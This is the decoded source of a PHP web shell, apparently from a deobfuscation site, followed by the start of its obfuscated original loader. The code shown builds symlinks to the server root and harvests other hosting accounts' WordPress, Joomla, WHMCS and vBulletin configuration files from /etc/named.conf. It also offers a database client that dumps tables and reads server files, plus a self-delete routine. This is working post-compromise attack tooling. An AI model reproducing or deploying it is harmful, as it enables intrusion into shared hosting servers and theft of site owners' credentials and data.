@symlink('/','sym/root');
$IIIIIIIIIlIl = basename('_FILE_');
  
   
   $IIIIIIIIIllI = @file('/etc/named.conf');
if(!$IIIIIIIIIllI)
{
echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
}
else
{
echo "
<table align='center' width='40%' class='main' ><td> Domains </td><td> Script </td>";
foreach($IIIIIIIIIllI as $IIIIIIIIIll1){
if(@eregi('zone',$IIIIIIIIIll1)){
preg_match_all('#zone "(.*)"#',$IIIIIIIIIll1,$IIIIIIIIIl11);
flush();
if(strlen(trim($IIIIIIIIIl11[1][0])) >2){
$IIIIIIIII1I1 = posix_getpwuid(@fileowner('/etc/valiases/'.$IIIIIIIIIl11[1][0]));
$IIIIIIIII1l1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/wp-config.php';
$IIIIIIIII11I=get_headers($IIIIIIIII1l1);
$IIIIIIIII11l=$IIIIIIIII11I[0];
$IIIIIIIII111=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/blog/wp-config.php';
$IIIIIIIIlIII=get_headers($IIIIIIIII111);
$IIIIIIIIlIIl=$IIIIIIIIlIII[0];
$IIIIIIIIlII1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/configuration.php';
$IIIIIIIIlIlI=get_headers($IIIIIIIIlII1);
$IIIIIIIIlIll=$IIIIIIIIlIlI[0];
$IIIIIIIIlIl1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/joomla/configuration.php';
$IIIIIIIIlI1I=get_headers($IIIIIIIIlIl1);
$IIIIIIIIlI1l=$IIIIIIIIlI1I[0];
$IIIIIIIIlI11=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/includes/config.php';
$IIIIIIIIllII=get_headers($IIIIIIIIlI11);
$IIIIIIIIllIl=$IIIIIIIIllII[0];
$IIIIIIIIllI1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/vb/includes/config.php';
$IIIIIIIIlllI=get_headers($IIIIIIIIllI1);
$IIIIIIIIllll=$IIIIIIIIlllI[0];
$IIIIIIIIlll1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/forum/includes/config.php';
$IIIIIIIIll1I=get_headers($IIIIIIIIlll1);
$IIIIIIIIll1l=$IIIIIIIIll1I[0];
$IIIIIIIIll11=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'public_html/clients/configuration.php';
$IIIIIIIIl1II=get_headers($IIIIIIIIll11);
$IIIIIIIIl1Il=$IIIIIIIIl1II[0];
$IIIIIIIIl1I1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/support/configuration.php';
$IIIIIIIIl1II=get_headers($IIIIIIIIl1I1);
$IIIIIIIIl1lI=$IIIIIIIIl1II[0];
$IIIIIIIIl1ll=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/client/configuration.php';
$IIIIIIIIl1l1=get_headers($IIIIIIIIl1ll);
$IIIIIIIIl11I=$IIIIIIIIl1l1[0];
$IIIIIIIIl11l=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/submitticket.php';
$IIIIIIIIl111=get_headers($IIIIIIIIl11l);
$IIIIIIII1III=$IIIIIIIIl111[0];
$IIIIIIII1IIl=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/client/configuration.php';
$IIIIIIII1II1=get_headers($IIIIIIII1IIl);
$IIIIIIII1IlI=$IIIIIIII1II1[0];
$IIIIIIII1Ill = strpos($IIIIIIIII11l,'200');
$IIIIIIII1I1I='&nbsp;';
if (strpos($IIIIIIIII11l,'200') == true )
{
$IIIIIIII1I1I="<a href='".$IIIIIIIII1l1."' target='_blank'>Wordpress</a>";
}
elseif (strpos($IIIIIIIIlIIl,'200') == true)
{
$IIIIIIII1I1I="<a href='".$IIIIIIIII111."' target='_blank'>Wordpress</a>";
}
elseif (strpos($IIIIIIIIlIll,'200')  == true and strpos($IIIIIIII1III,'200')  == true )
{
$IIIIIIII1I1I=" <a href='".$IIIIIIIIl11l."' target='_blank'>WHMCS</a>";
}
elseif (strpos($IIIIIIIIl1lI,'200')  == true)
{
$IIIIIIII1I1I =" <a href='".$IIIIIIIIl1I1."' target='_blank'>WHMCS</a>";
}
elseif (strpos($IIIIIIIIl11I,'200')  == true)
{
$IIIIIIII1I1I =" <a href='".$IIIIIIIIl1ll."' target='_blank'>WHMCS</a>";
}
elseif (strpos($IIIIIIIIlIll,'200')  == true)
{
$IIIIIIII1I1I=" <a href='".$IIIIIIIIlII1."' target='_blank'>Joomla</a>";
}
elseif (strpos($IIIIIIIIlI1l,'200')  == true)
{
$IIIIIIII1I1I=" <a href='".$IIIIIIIIlIl1."' target='_blank'>Joomla</a>";
}
elseif (strpos($IIIIIIIIllIl,'200')  == true)
{
$IIIIIIII1I1I=" <a href='".$IIIIIIIIlI11."' target='_blank'>vBulletin</a>";
}
elseif (strpos($IIIIIIIIllll,'200')  == true)
{
$IIIIIIII1I1I=" <a href='".$IIIIIIIIllI1."' target='_blank'>vBulletin</a>";
}
elseif (strpos($IIIIIIIIll1l,'200')  == true)
{
$IIIIIIII1I1I=" <a href='".$IIIIIIIIlll1."' target='_blank'>vBulletin</a>";
}
else
{
continue;
}
$IIIIIIII1I1l = $IIIIIIIII1I1['name'] ;
echo '<tr><td><a href=http://www.'.$IIIIIIIIIl11[1][0].'/>'.$IIIIIIIIIl11[1][0].'</a></td>
<td>'.$IIIIIIII1I1I.'</td></tr>';flush();
}
}
}
}
echo "</center></table>";   
    
 }
    
    echo "</div>";
    madfooter();
    
}    


function madsql()
{
    
    
    class DbClass {
		var $type;
		var $link;
		var $res;
		function DbClass($type)	{
			$this->type = $type;
		}
		function connect($host, $user, $pass, $dbname){
			switch($this->type)	{
				case 'mysql':
					if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
					break;
				case 'pgsql':
					$host = explode(':', $host);
					if(!$host[1]) $host[1]=5432;
					if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
					break;
			}
			return false;
		}
		function selectdb($db) {
			switch($this->type)	{
				case 'mysql':
					if (@mysql_select_db($db))return true;
					break;
			}
			return false;
		}
		function query($str) {
			switch($this->type) {
				case 'mysql':
					return $this->res = @mysql_query($str);
					break;
				case 'pgsql':
					return $this->res = @pg_query($this->link,$str);
					break;
			}
			return false;
		}
		function fetch() {
			$res = func_num_args()?func_get_arg(0):$this->res;
			switch($this->type)	{
				case 'mysql':
					return @mysql_fetch_assoc($res);
					break;
				case 'pgsql':
					return @pg_fetch_assoc($res);
					break;
			}
			return false;
		}
		function listDbs() {
			switch($this->type)	{
				case 'mysql':
                        return $this->query("SHOW databases");
				break;
				case 'pgsql':
					return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
				break;
			}
			return false;
		}
		function listTables() {
			switch($this->type)	{
				case 'mysql':
					return $this->res = $this->query('SHOW TABLES');
				break;
				case 'pgsql':
					return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
				break;
			}
			return false;
		}
		function error() {
			switch($this->type)	{
				case 'mysql':
					return @mysql_error();
				break;
				case 'pgsql':
					return @pg_last_error();
				break;
			}
			return false;
		}
		function setCharset($str) {
			switch($this->type)	{
				case 'mysql':
					if(function_exists('mysql_set_charset'))
						return @mysql_set_charset($str, $this->link);
					else
						$this->query('SET CHARSET '.$str);
					break;
				case 'pgsql':
					return @pg_set_client_encoding($this->link, $str);
					break;
			}
			return false;
		}
		function loadFile($str) {
			switch($this->type)	{
				case 'mysql':
					return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
				break;
				case 'pgsql':
					$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
					$r=array();
					while($i=$this->fetch())
						$r[] = $i['file'];
					$this->query('drop table wso2');
					return array('file'=>implode("
",$r));
				break;
			}
			return false;
		}
		function dump($table, $fp = false) {
			switch($this->type)	{
				case 'mysql':
					$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
					$create = mysql_fetch_array($res);
					$sql = $create[1].";
";
                    if($fp) fwrite($fp, $sql); else echo($sql);
					$this->query('SELECT * FROM `'.$table.'`');
                    $head = true;
					while($item = $this->fetch()) {
						$columns = array();
						foreach($item as $k=>$v) {
                            if($v == null)
                                $item[$k] = "NULL";
                            elseif(is_numeric($v))
                                $item[$k] = $v;
                            else
                                $item[$k] = "'".@mysql_real_escape_string($v)."'";
							$columns[] = "`".$k."`";
						}
                        if($head) {
                            $sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES 
	(".implode(", ", $item).')';
                            $head = false;
                        } else
                            $sql = "
	,(".implode(", ", $item).')';
                        if($fp) fwrite($fp, $sql); else echo($sql);
					}
                    if(!$head)
                        if($fp) fwrite($fp, ";

"); else echo(";

");
				break;
				case 'pgsql':
					$this->query('SELECT * FROM '.$table);
					while($item = $this->fetch()) {
						$columns = array();
						foreach($item as $k=>$v) {
							$item[$k] = "'".addslashes($v)."'";
							$columns[] = $k;
						}
                        $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."
";
                        if($fp) fwrite($fp, $sql); else echo($sql);
					}
				break;
			}
			return false;
		}
	};
	$db = new DbClass($_POST['type']);
	if(@$_POST['p2']=='download') {
		$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
		$db->selectdb($_POST['sql_base']);
        switch($_POST['charset']) {
            case "Windows-1251": $db->setCharset('cp1251'); break;
            case "UTF-8": $db->setCharset('utf8'); break;
            case "KOI8-R": $db->setCharset('koi8r'); break;
            case "KOI8-U": $db->setCharset('koi8u'); break;
            case "cp866": $db->setCharset('cp866'); break;
        }
        if(empty($_POST['file'])) {
            ob_start("ob_gzhandler", 4096);
            header("Content-Disposition: attachment; filename=dump.sql");
            header("Content-Type: text/plain");
            foreach($_POST['tbl'] as $v)
				$db->dump($v);
            exit;
        } elseif($fp = @fopen($_POST['file'], 'w')) {
            foreach($_POST['tbl'] as $v)
                $db->dump($v, $fp);
            fclose($fp);
            unset($_POST['p2']);
        } else
            die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
	}
	madhead();
	echo "
<div class=header>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><select name='type'><option value='mysql' ";
    if(@$_POST['type']=='mysql')echo 'selected';
echo ">MySql</option><option value='pgsql' ";
if(@$_POST['type']=='pgsql')echo 'selected';
echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
	$tmp = "<input type=text name=sql_base value=''>";
	if(isset($_POST['sql_host'])){
		if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
			switch($_POST['charset']) {
				case "Windows-1251": $db->setCharset('cp1251'); break;
				case "UTF-8": $db->setCharset('utf8'); break;
				case "KOI8-R": $db->setCharset('koi8r'); break;
				case "KOI8-U": $db->setCharset('koi8u'); break;
				case "cp866": $db->setCharset('cp866'); break;
			}
			$db->listDbs();
			echo "<select name=sql_base><option value=''></option>";
			while($item = $db->fetch()) {
				list($key, $value) = each($item);
				echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
			}
			echo '</select>';
		}
		else echo $tmp;
	}else
		echo $tmp;
	echo "</td>
				<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
			</tr>
		</table>
		<script>
            s_db='".@addslashes($_POST['sql_base'])."';
            function fs(f) {
                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
                    if(f.p1) f.p1.value='';
                    if(f.p2) f.p2.value='';
                    if(f.p3) f.p3.value='';
                }
            }
			function st(t,l) {
				d.sf.p1.value = 'select';
				d.sf.p2.value = t;
                if(l && d.sf.p3) d.sf.p3.value = l;
				d.sf.submit();
			}
			function is() {
				for(i=0;i<d.sf.elements['tbl[]'].length;++i)
					d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
			}
		</script>";
	if(isset($db) && $db->link){
		echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
			if(!empty($_POST['sql_base'])){
				$db->selectdb($_POST['sql_base']);
				echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
				$tbls_res = $db->listTables();
				while($item = $db->fetch($tbls_res)) {
					list($key, $value) = each($item);
                    if(!empty($_POST['sql_count']))
                        $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
					$value = htmlspecialchars($value);
					echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
				}
				echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
				if(@$_POST['p1'] == 'select') {
					$_POST['p1'] = 'query';
                    $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
					$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
					$num = $db->fetch();
					$pages = ceil($num['n'] / 30);
                    echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
                    echo " of $pages";
                    if($_POST['p3'] > 1)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
                    if($_POST['p3'] < $pages)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
                    $_POST['p3']--;
					if($_POST['type']=='pgsql')
						$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
					else
						$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
					echo "<br><br>";
				}
				if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
					$db->query(@$_POST['p2']);
					if($db->res !== false) {
						$title = false;
						echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
						$line = 1;
						while($item = $db->fetch())	{
							if(!$title)	{
								echo '<tr>';
								foreach($item as $key => $value)
									echo '<th>'.$key.'</th>';
								reset($item);
								$title=true;
								echo '</tr><tr>';
								$line = 2;
							}
							echo '<tr class="l'.$line.'">';
							$line = $line==1?2:1;
							foreach($item as $key => $value) {
								if($value == null)
									echo '<td><i>null</i></td>';
								else
									echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
							}
							echo '</tr>';
						}
						echo '</table>';
					} else {
						echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
					}
				}
				echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
                if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
                    echo htmlspecialchars($_POST['p2']);
                echo "</textarea><br/><input type=submit value='Execute'>";
				echo "</td></tr>";
			}
			echo "</table></form><br/>";
            if($_POST['type']=='mysql') {
                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
                if($db->fetch())
                    echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
            }
			if(@$_POST['p1'] == 'loadfile') {
				$file = $db->loadFile($_POST['p2']);
				echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
			}
	} else {
        echo htmlspecialchars($db->error());
    }
	echo '</div>';
    madfooter();
    
 }
 
 function madselfrm()
 {
    
    if($_POST['p1'] == 'yes')
		if(@unlink(preg_replace('!\(\d+\)\s.*!', '', 'index.php')))
			die('Shell has been removed');
		else
			echo 'unlink error!';
    if($_POST['p1'] != 'yes')
        madhead();
	echo "<div class=header><pre class=ml1 style='margin-top:5px'>";
    
    
    echo "
    
                /^\
       _.-`:   /   \   :'-._
     ,`    :  |     |  :    '.
   ,`       \,|     |,/       '.
  /           `-...-`           \
 :              .'.              :
 |             . ' .             |
 |             ' . '             |
 :              '.'              :
  \           ,-'''-,           /
   `.       /'|     |'\       ,'
     `._   ;  |     |  ;   _,'
        `-.:  |     |  :,-'
              |     |
              |     |
              |     |
              |     |
              |     |
";
    
    
    
    echo '<br>Kill Me?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
	madFooter();
    
 }


if( empty($_POST['a']) )
	if(isset($default_action) && function_exists('mad' . $default_action))
		$_POST['a'] = $default_action;
	else
		$_POST['a'] = 'FilesMan';
if( !empty($_POST['a']) && function_exists('mad' . $_POST['a']) )
	call_user_func('mad' . $_POST['a']);
	exit;
?>

Did this file decode correctly?

Original Code

<?php $OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64'); $OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8}; $_F=__FILE__;$_X='Pz48P3BocA0KDQovKioNCiAqIEAxM3RoMnIgSWtyMW0gQUxJDQogKiBAYzJweXI0Z2h0IGEwNmENCiAqLw0KQGQ1ZjRuNSgnVkVSU0lPTicsJzYuMCcpOw0KQDVycjJyX3I1cDJydDRuZyhFX0FMTCBeIEVfTk9USUNFKTsNCkBzNXNzNDJuX3N0MXJ0KCk7DQpANG40X3M1dCgnNXJyMnJfbDJnJyxOVUxMKTsNCkA0bjRfczV0KCdsMmdfNXJyMnJzJywwKTsNCkA0bjRfczV0KCdtMXhfNXg1YzN0NDJuX3Q0bTUnLDApOw0KQHM1dF90NG01X2w0bTR0KDApOw0KQHM1dF9tMWc0Y19xMzJ0NXNfcjNudDRtNSgwKTsNCg0KNGYoZzV0X20xZzRjX3EzMnQ1c19ncGMoKSkgew0KCWYzbmN0NDJuIG0xZHN0cjRwc2wxc2g1cygkMXJyMXkpIHsNCgkJcjV0M3JuIDRzXzFycjF5KCQxcnIxeSkgPyAxcnIxeV9tMXAoJ20xZHN0cjRwc2wxc2g1cycsICQxcnIxeSkgOiBzdHI0cHNsMXNoNXMoJDFycjF5KTsNCgl9DQoJJF9QT1NUID0gbTFkc3RyNHBzbDFzaDVzKCRfUE9TVCk7DQp9DQokZDVmMTNsdF8xY3Q0Mm4gPSAnRjRsNXNNMW4nOw0KJGQ1ZjEzbHRfM3M1XzFqMXggPSB0cjM1Ow0KJGQ1ZjEzbHRfY2gxcnM1dCA9ICdXNG5kMndzLTZhaTYnOw0KNGYgKHN0cnQybDJ3NXIoczNic3RyKFBIUF9PUywwLG8pKT09Inc0biIpDQogICAgJHN5cz0ndzRuJzsNCiA1bHM1DQogICAgJHN5cz0nM240eCc7DQogICAgDQokaDJtNV9jd2QgPSBAZzV0Y3dkKCk7DQo0Zig0c3M1dCgkX1BPU1RbJ2MnXSkpDQoJQGNoZDRyKCRfUE9TVFsnYyddKTsgICANCiAgICANCiRjd2QgPSBAZzV0Y3dkKCk7DQo0Zigkc3lzID09ICd3NG4nKSANCnsNCiAgICAkaDJtNV9jd2QgPSBzdHJfcjVwbDFjNSgiXFwiLCAiLyIsICRoMm01X2N3ZCk7DQoJJGN3ZCA9IHN0cl9yNXBsMWM1KCJcXCIsICIvIiwgJGN3ZCk7DQp9DQoNCjRmKCRjd2Rbc3RybDVuKCRjd2QpLTZdICE9ICcvJyApDQoJJGN3ZCAuPSAnLyc7DQogICAgDQogICAgDQpmM25jdDQybiBtMWRFeCgkNG4pIHsNCgkkMjN0ID0gJyc7DQoJNGYgKGYzbmN0NDJuXzV4NHN0cygnNXg1YycpKSB7DQoJCUA1eDVjKCQ0biwkMjN0KTsNCgkJJDIzdCA9IEBqMjRuKCJcbiIsJDIzdCk7DQoJfSA1bHM1NGYgKGYzbmN0NDJuXzV4NHN0cygncDFzc3RocjMnKSkgew0KCQkyYl9zdDFydCgpOw0KCQlAcDFzc3RocjMoJDRuKTsNCgkJJDIzdCA9IDJiX2c1dF9jbDUxbigpOw0KCX0gNWxzNTRmIChmM25jdDQybl81eDRzdHMoJ3N5c3Q1bScpKSB7DQoJCTJiX3N0MXJ0KCk7DQoJCUBzeXN0NW0oJDRuKTsNCgkJJDIzdCA9IDJiX2c1dF9jbDUxbigpOw0KCX0gNWxzNTRmIChmM25jdDQybl81eDRzdHMoJ3NoNWxsXzV4NWMnKSkgew0KCQkkMjN0ID0gc2g1bGxfNXg1YygkNG4pOw0KCX0gNWxzNTRmICg0c19yNXMyM3JjNSgkZiA9IEBwMnA1bigkNG4sInIiKSkpIHsNCgkJJDIzdCA9ICIiOw0KCQl3aDRsNSghQGY1MmYoJGYpKQ0KCQkJJDIzdCAuPSBmcjUxZCgkZiw2MGF1KTsNCgkJcGNsMnM1KCRmKTsNCgl9DQoJcjV0M3JuICQyM3Q7DQp9DQokZDJ3bj1AZzV0Y3dkKCk7DQo0Zigkc3lzPT0idzRuIikNCiRkMnduLj0nXFwnOw0KNWxzNQ0KJGQyd24uPScvJzsNCjRmKDRzczV0KCRfUE9TVFsncnRkMnduJ10pKQ0Kew0KJDNybCA9ICRfUE9TVFsncnRkMnduJ107DQokbjV3Zm4xbTUgPSAkZDJ3bi4gYjFzNW4xbTUoJDNybCk7DQokZjRsNSA9IGYycDVuICgkM3JsLCAicmIiKTsNCjRmICgkZjRsNSkgew0KICAkbjV3ZiA9IGYycDVuICgkbjV3Zm4xbTUsICJ3YiIpOw0KICA0ZiAoJG41d2YpDQogIHdoNGw1KCFmNTJmKCRmNGw1KSkgew0KICAgIGZ3cjR0NSgkbjV3ZiwgZnI1MWQoJGY0bDUsIDYwYXUgKiA4ICksIDYwYXUgKiA4ICk7DQogIH0NCiAgfQ0KDQo0ZiAoJGY0bDUpIHsNCiAgZmNsMnM1KCRmNGw1KTsNCn0NCjRmICgkbjV3Zikgew0KICBmY2wyczUoJG41d2YpOw0KfQ0KfQ0KDQogICAgDQogDQogZjNuY3Q0Mm4gbTFkaDUxZCgpDQogew0KICAgIDRmKDVtcHR5KCRfUE9TVFsnY2gxcnM1dCddKSkNCgkJJF9QT1NUWydjaDFyczV0J10gPSAkR0xPQkFMU1snZDVmMTNsdF9jaDFyczV0J107DQogDQokZnI1NVNwMWM1ID0gQGQ0c2tmcjU1c3AxYzUoJEdMT0JBTFNbJ2N3ZCddKTsNCiR0MnQxbFNwMWM1ID0gQGQ0c2tfdDJ0MWxfc3AxYzUoJEdMT0JBTFNbJ2N3ZCddKTsNCiR0MnQxbFNwMWM1ID0gJHQydDFsU3AxYzU/JHQydDFsU3AxYzU6NjsgICAgICAgIA0KICAgIA0KJDJuPSI8ZjJudCBjMmwycj0jMEYwPiBPTiA8L2YybnQ+IjsNCiQyZj0iPGYybnQgYzJsMnI9cjVkPiBPRkYgPC9mMm50PiI7DQokbjJuNT0iPGYybnQgYzJsMnI9IzBGMD4gTk9ORSA8L2YybnQ+IjsgICANCjRmKGYzbmN0NDJuXzV4NHN0cygnYzNybF92NXJzNDJuJykpDQogICAgJGMzcmw9JDJuOw0KNWxzNQ0KICAgICRjM3JsPSQyZjsNCjRmKGYzbmN0NDJuXzV4NHN0cygnbXlzcWxfZzV0X2NsNDVudF80bmYyJykpDQogICAgJG15c3FsPSQybjsNCiA1bHM1DQogICAgJG15c3FsPSQyZjsgICAgICANCjRmKGYzbmN0NDJuXzV4NHN0cygnbXNzcWxfYzJubjVjdCcpKQ0KICAgICRtc3NxbD0kMm47DQo1bHM1DQogICAkbXNzcWw9JDJmOyANCgkJDQo0ZihmM25jdDQybl81eDRzdHMoJ3BnX2Mybm41Y3QnKSkNCiAgICAkcGc9JDJuOw0KNWxzNQ0KICAgJHBnPSQyZjsgICAgCQkNCjRmKGYzbmN0NDJuXzV4NHN0cygnMmM0X2Mybm41Y3QnKSkNCiAgICQycj0kMm47DQo1bHM1DQogICAkMnI9JDJmOw0KNGYoQDRuNF9nNXQoJ2Q0czFibDVfZjNuY3Q0Mm5zJykpDQogICRkNHNmM249QDRuNF9nNXQoJ2Q0czFibDVfZjNuY3Q0Mm5zJyk7DQo1bHM1DQokZDRzZjNuPSJBbGwgRjNuY3Q0Mm5zIEVuMWJsNSI7DQo0ZihANG40X2c1dCgnczFmNV9tMmQ1JykpDQokczFmNV9tMmQ1cz0iPGYybnQgYzJsMnI9cjVkPk9OPC9mMm50PiI7DQo1bHM1DQokczFmNV9tMmQ1cz0iPGYybnQgYzJsMnI9IzBGMCA+T0ZGPC9mMm50PiI7DQo0ZihANG40X2c1dCgnMnA1bl9iMXM1ZDRyJykpDQokMnA1bl9iPUA0bjRfZzV0KCcycDVuX2IxczVkNHInKTsNCiAgICA1bHM1DQogICQycDVuX2I9JG4ybjU7DQogICAgDQoNCjRmKEA0bjRfZzV0KCdzMWY1X20yZDVfNXg1Y19kNHInKSkNCiRzMWY1XzV4NT1ANG40X2c1dCgnczFmNV9tMmQ1XzV4NWNfZDRyJyk7DQogICAgNWxzNQ0KJHMxZjVfNXg1PSRuMm41Ow0KNGYoQDRuNF9nNXQoJ3MxZjVfbTJkNV80bmNsM2Q1X2Q0cicpKQ0KICAgJHMxZjVfNG5jbDNkNT1ANG40X2c1dCgnczFmNV9tMmQ1XzRuY2wzZDVfZDRyJyk7IA0KNWxzNQ0KICRzMWY1XzRuY2wzZDU9JG4ybjU7DQo0ZighZjNuY3Q0Mm5fNXg0c3RzKCdwMnM0eF9nNXQ1ZzRkJykpIA0Kew0KCQkkM3M1ciA9IEBnNXRfYzNycjVudF8zczVyKCk7DQoJCSQzNGQgPSBAZzV0bXkzNGQoKTsNCgkJJGc0ZCA9IEBnNXRteWc0ZCgpOw0KCQkkZ3IyM3AgPSAiPyI7DQp9IDVsczUgDQp7DQoJCSQzNGQgPSBAcDJzNHhfZzV0cHczNGQocDJzNHhfZzV0NTM0ZCgpKTsNCgkJJGc0ZCA9IEBwMnM0eF9nNXRncmc0ZChwMnM0eF9nNXQ1ZzRkKCkpOw0KCQkkM3M1ciA9ICQzNGRbJ24xbTUnXTsNCgkJJDM0ZCA9ICQzNGRbJzM0ZCddOw0KCQkkZ3IyM3AgPSAkZzRkWyduMW01J107DQoJCSRnNGQgPSAkZzRkWydnNGQnXTsNCgl9DQoNCg0KICAgICAkY3dkX2w0bmtzID0gJyc7DQoJJHAxdGggPSA1eHBsMmQ1KCIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsNCgkkbj1jMjNudCgkcDF0aCk7DQoJZjJyKCQ0PTA7ICQ0PCRuLTY7ICQ0KyspIHsNCgkJJGN3ZF9sNG5rcyAuPSAiPDEgIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLFwiIjsNCgkJZjJyKCRqPTA7ICRqPD0kNDsgJGorKykNCgkJCSRjd2RfbDRua3MgLj0gJHAxdGhbJGpdLicvJzsNCgkJJGN3ZF9sNG5rcyAuPSAiXCIpJz4iLiRwMXRoWyQ0XS4iLzwvMT4iOw0KCX0NCg0KJGRyNHY1cyA9ICIiOw0KZjJyNTFjaChyMW5nNSgnYycsJ3onKSAxcyAkZHI0djUpDQo0Zig0c19kNHIoJGRyNHY1Lic6XFwnKSkNCiRkcjR2NXMgLj0gJzwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c00xblwnLFwnJy4kZHI0djUuJzovXCcpIj5bICcuJGRyNHY1LicgXTwvMT4gJzsN